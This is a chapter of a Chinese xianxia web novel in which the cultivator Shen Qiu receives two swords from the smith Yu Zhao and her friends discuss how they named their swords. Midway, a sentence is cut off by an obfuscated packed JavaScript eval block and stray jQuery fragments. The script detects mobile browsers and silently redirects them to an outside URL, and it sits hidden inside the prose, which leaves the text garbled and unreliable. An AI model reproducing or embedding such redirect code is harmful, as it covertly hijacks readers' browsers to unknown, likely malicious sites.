在沈秋想象里，剑修迎接自己的剑时应当是鞭炮开路、锣鼓喧天的，就像凡间酒楼开业一样喜庆热闹。但实际上修士们大多不愿表现得与凡人一般“俗气”，淡淡接过剑称赞锻剑人几句便算高兴满意了。


    修士们强装沉稳赶到锻剑楼前。这里安安静静，没有任何为庆祝宝剑出世而设计的巧思，只有睁着大眼睛好奇观望的龙族们让今日显得稍微有些不同。


    玉昭立于锻剑楼前方，苍漓在她身侧面带微笑向祁思语递出剑匣。


    祁思语手抖得厉害，指尖比偏阴体质的蔺如风、云无界还要冷。他接过剑匣定了许久，细细打量其上古朴的木纹与桃枝摇曳的浮雕，犹在想象佩剑的模样。


    “一笑”和他相伴数年对他的灵力很敏感，此时已经嗡嗡震动迫不及待要回到他手中。


    祁思语被震动惊醒，右手终于从匣下翻出，轻轻揭开盖子。


    锋利的剑光破匣而出，“一笑”噌地自匣中立起，笔直傲然地悬浮在袅袅桃光的环绕之间。它剑身明亮，附带的暗红纹路似花瓣似荆棘，剑柄处雕琢的花草繁茂嫣然，形状却又贴合执剑者的掌心与发力点。


    这剑对于剑修来说未免太过花里胡哨，但当祁思语伸手握住剑柄，“一笑”猛然爆发的灵力冲击夹杂着无与伦比的尖锐霸气朝外激荡时，没有人会误会这柄能破世间最坚硬之物的利剑。


    祁思语双眸亮得不可思议，翻转手腕挽了个漂亮的剑花，拱手朝两位大师拜下，“大师神乎其技！思语感激不尽！”


    玉昭和苍漓伸手将他扶起。


    沈秋难以抑制地生出几分艳羡，在场剑修里只有她的剑最普通，去年还被落明珠给打坏了，到现在也没修补好。


    她眼含怨怼望向远处凑热闹路过的落明珠，侧目时发现莫缘严肃又期待地盯着玉昭大师，双唇紧抿，一副坐立难安的样子。


    “你……”


    直到祁思语和两位大师聊完莫缘的期待都没有发生。他眼里的光一点点暗下去。


    沈秋一直看着他，转身和师姐他们一块儿离开时还看着。她突然想到，莫缘送了自己那么多东西，她该回他个礼了。


    现在是最好的时机。


    “莫缘。”她拉住他的胳膊，板着脸声音低沉，“你有什么想要的？”


    莫缘没反应，旁边的祁思语抄着剑狠狠给了她一肘，“想送人礼便自己想！直接问算什么？没诚意！”


    蔺如风和云无界也露出不赞同的眼神。


    沈秋羞愧地红了脸。


    “沈秋。”


    几人无声交流间，玉昭忽然叫住她。


    莫缘的失聪瞬间治好，唰地回身立正，连带着把慢半拍的沈秋扯过去，大声道：“玉昭大师找我们什么事？请说！”


    沈秋被他带得也升起些莫名的希冀。


    玉昭摊开手心，与祁思语那副相似的木匣出现在她掌中。她凝视沈秋惊愕的眉眼，把木匣送入她怀中。


    “心志不坚者往往欲望恒生，试炼时云雾中便景象万千。我见过太多这样的人，无一走眼。”


    她弯腰捏起沈秋下颌让她与自己对视，眸中含着浅笑，“可到底登极岛上待久了，是我忘了天下修士多如繁星，即便凡者众多，同你这般超出常人意料之人，亦总会出现。”


    这是在夸她？沈秋傻乎乎勾唇轻笑。


    “我没问过你的意愿，自作主张锻造了这两把剑。但我想它们会适合你。”玉昭直起腰。


    沈秋还沉浸在强烈的惊喜里，唇齿微张却说不出半句话。


    身旁莫缘握拳高呼一声振臂跳开，在锻剑楼前跑了一圈又一圈，还掏出不知什么时候带在身上的鞭炮将其点燃，噼里啪啦的狂炸声非常喜庆，将沈秋心里的千言万语炸得有了出口。


    “谢、多谢大师！大师做的定是好的！”


    玉昭莞尔，苍漓笑着凑到她耳边道：“既如此，我们出岛走走？”


    玉昭答应了，转头唤还在蹦跳庆祝的莫缘，“我与你们有缘，你想知道的事我可以告诉你。”


    没人明白这句话是什么意思，只有跟头疯鸡似的莫缘立即停下，亦步亦趋跟在两位大师身后走了。


    人群渐散，空旷的断剑楼前只剩一人在傻笑着清理鞭炮残渣。


    沈秋觉得自己从未如此幸福，整个人晕乎乎、轻飘飘的。


    她细数回忆，意识到自从登上登极岛后好运竟连连眷顾她，不仅有落明珠这般天才中的天才愿意传授她剑道体悟，又有玉昭、苍漓这等锻剑大师亲自为她打造佩剑。


    她尚未领悟剑意，却能握住以往令她十足羡慕及渴望的神兵利器。


    或许祁思语跳的那段祈福剑舞真的有用。


    她破天荒地没有修炼，在夜深人静时独坐屋顶之上捧着木匣，表面上是风平浪静，其实心里已经狂亲了匣子几十次。


    岛上蛙鸣声起，沈秋静静聆听这新一夜的乐曲，待到心情平和后才挑开搭扣掀起匣盖。


    两把精致修长的剑无声躺在里面，泛着月光那样莹润的光泽。


    同“一笑”漂亮张扬、舍我其谁的霸道自信不同，它们内敛平和，相互之间的灵力交缠宛如低声细语的交谈；但又不同于落明珠佩剑的其貌不扬、沉默寡言，而是剑纹舒展绘出春雨戏弄小花的图卷，两剑纹路不尽相同，剑尖相对再拼在一起方是完整的景象。


    两把剑气质沉稳，当中平添一点俏皮。真如玉昭大师所言，沈秋喜欢极了。


    “不错。”云无界翻上屋顶坐到她身边，莫缘、蔺如风、祁思语随之跃上，还有刚吃了他们一盆面当作夜宵的落明珠。


    “很适合你。”莫缘嘻嘻笑道，“你打算给它们取什么名字？”


    这问题难到她了，沈秋拧眉想了一会儿，问他们，“你们如何起名的？”


    云无界抬头望天，“我愿我之剑迅捷强大可斩尽恶妖厉鬼，如及时雨、救旱霖，独领众剑、潇洒俊逸，遂取‘飞’字。后头添上我的姓氏，便是‘飞云’二字。”


    掌门传授的剑道霸道慕强，哪怕是谦谦君子云无界，亦心存远志野心勃勃。


    蔺如风道：“我的比较简单。我名如风，觉得‘似影’与我相配又合我的剑法，便这么叫了。”


    “祁思语呢？”沈秋目光挪向下一个人。


    却听莫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443878|180175||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缘忍不住爆笑，“这还用问？当然是因为祝师姐叫祝嫣，她的佩剑叫‘嫣然’啊！嫣然一笑嘛！”


    三个师姐师兄睁大眼睛齐齐扭头瞪祁思语，满脸都是“竟然如此不要脸”的震惊和不敢置信。


    祁思语没有反驳，夜色下的脸又黑又红，显然气得不轻也羞得不轻。


    莫缘看他们表情下颌都要掉到屋顶上，失声惊呼，“你们居然不知道？你们这都看不出来？呆瓜啊你们是！”


    他激动分析这是一个多么简单的爱意小细节，把各个门派里哪些弟子故意收了心上人的物件后给其取暧昧称呼的例子一一搬出，斥责他们榆木脑袋连“糖都磕不明白”。


    祁思语忍无可忍给他施了闭口术，把话题引向枕着手臂躺在他们后面的落明珠身上：“落老师是如何为佩剑起名的？”


    几人果然停下叽叽喳喳的嘴巴，好奇转身看那神奇的化龙者。


    妖起名应当和人族大有不同。


    “大宝。”落明珠道：“它叫大宝。”


    沈秋愣住。


    在场唯有她见过落明珠的剑。那样一柄暗沉平凡，除了气势外没有任何特点的剑，叫大宝？


    她不由笑起来，像抓到别人把柄般得意：此人嘴上说剑修不能只在乎手中之剑，实则爱极了自己的佩剑。


    “落大师的家人一定也很爱落大师。”


    沈秋在想落明珠爱他的剑，莫缘在想他的家人爱他。


    落明珠明显觉得这番话很有趣，挑眉瞥向莫缘，“此话怎讲？”


    “因为他们叫你明珠，从你出生时就是他们的掌上明珠。”莫缘讲得头头是道，“你的家庭肯定很有爱，所有你也会这么爱你的佩剑，取名的方式都跟父母一样。”


    落明珠开怀大笑，“你说得对。”他眯起眼睛数天上的星星，“他们很爱我。”


    即便寿命延续不了他们的爱。


    －


    沈秋一夜没从屋顶上下来，将双手置于双剑上出神呆坐。终于，当天光初亮时，四个字突然蹦进她的脑中——


    不止不休。


    机遇既来，不止不休。


    -


    时间紧迫，仙门大比即将召开。修士们不日便向两位大师辞行，决定不照着掌门给的地图走，而是直接到大霖朝的京都去深入打探一番，再返回齐云派参加门内选拔。


    沈秋顶着莫缘已精进了不少的易容作品出现在落明珠面前，规规矩矩行了徒弟对师父的跪拜礼，“老师，学生该走了。”


    落明珠好笑道：“行这么大的礼，被你师父知道了该如何是好？”


    沈秋道：“掌门是我师父，您是我的老师。”她顿了顿，忆起莫缘平日里的胡言乱语，觉得用在这会儿非常合适，“各论各的。”


    落明珠扬起下颌颇为受用，“走吧。对了，你的剑……”


    沈秋再拜，“学生会到京都修补旧剑暂且用着，用您教的方法多练一段时日再换新剑。”


    落明珠很满意，“我没看错你。”


    “老师您保重，有时间我会回来看……”


    落明珠飞走了。


    “……”